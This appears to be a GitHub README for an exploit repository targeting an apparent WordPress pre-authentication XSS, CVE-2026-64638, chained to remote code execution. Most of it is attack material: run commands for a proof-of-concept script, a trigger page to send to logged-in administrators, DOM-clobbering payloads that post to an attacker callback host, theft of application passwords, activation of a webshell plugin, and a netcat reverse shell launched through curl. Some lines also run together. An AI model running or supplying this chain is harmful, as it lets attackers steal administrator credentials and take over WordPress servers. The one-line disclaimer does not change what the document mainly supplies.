jendmaoul/xss2shell-cve-2026-64638CVE-2026-64638 — WordPress Pre-Auth Reflected XSS → RCE via DOM Clobbering + Application Password Theft + REST API Plugin Activation. Dual-mode PoC (XSS chain & direct).
WordPress Pre-Auth Reflected XSS → Remote Code Execution Chain
DOM Clobbering + Application Password Theft + REST API Plugin Activation = Full RCE
CVE-2026-64638 is a critical pre-authentication Reflected XSS in WordPress wp-login.php. The vulnerability exists because the login error message reflects the submitted username without proper HTML encoding, allowing DOM Clobbering via <area id=ajaxurl> to bypass most filters.
When chained with WordPress's Application Password feature, this XSS becomes a full Remote Code Execution vector — zero user interaction beyond visiting a crafted trigger page while logged in.
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
| Version | Status | Notes |
|---|---|---|
| WordPress ≤ 6.9.5 | ✅ Vulnerable | Pre-backport Docker images still exploitable |
| WordPress 6.9.6+ | ⚠️ Patched (Aug 7, 2026 backport) | Docker images rebuilt after Aug 7 have fix |
| WordPress 7.0.x | ✅ Vulnerable | Confirmed on 7.0.2 |
| WordPress 7.1+ | ❓ Unknown | Not tested |
pip3 install requests
That's it. Python 3.8+ standard library for everything else.
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
The victim must be logged into WordPress as an administrator. The trigger page:
wp-login.php via hidden iframeauthorize-application.php for the victim to approvepython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
Direct login → plugin upload → instant webshell. No XSS required.
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
Or manually via webshell:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
Why it works:
sanitize_user() strips standard HTML tags but misses <area> with a leading space<area id=ajaxurl> performs DOM Clobbering — it hijacks window.ajaxurl used by wp-admin JavaScriptwp_auth_check interval fires and the XSS redirects the victim to authorize-application.phpsuccess_url parameter sends the generated password to the attacker's callback serverOnce the Application Password is captured:
/wp-json/wp/v2/POST /wp-json/wp/v2/plugins/{slug} with {"status":"active"}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND?rev=IP:PORT spawns /bin/sh -i back to attacker| Target | Version | Mode | Result |
|---|---|---|---|
| Docker (local) | WordPress 7.0.2 | XSS Chain | ✅ RCE as www-data |
| Docker (local) | WordPress 7.0.2 | Direct | ✅ RCE as www-data |
| Docker (local) | WordPress 6.7 | XSS Chain | ✅ RCE as www-data |
This tool is for authorized security testing and research only. The authors assume no liability for misuse. Always obtain written permission before testing.
"No Exploit, No Report." — Shannon Methodology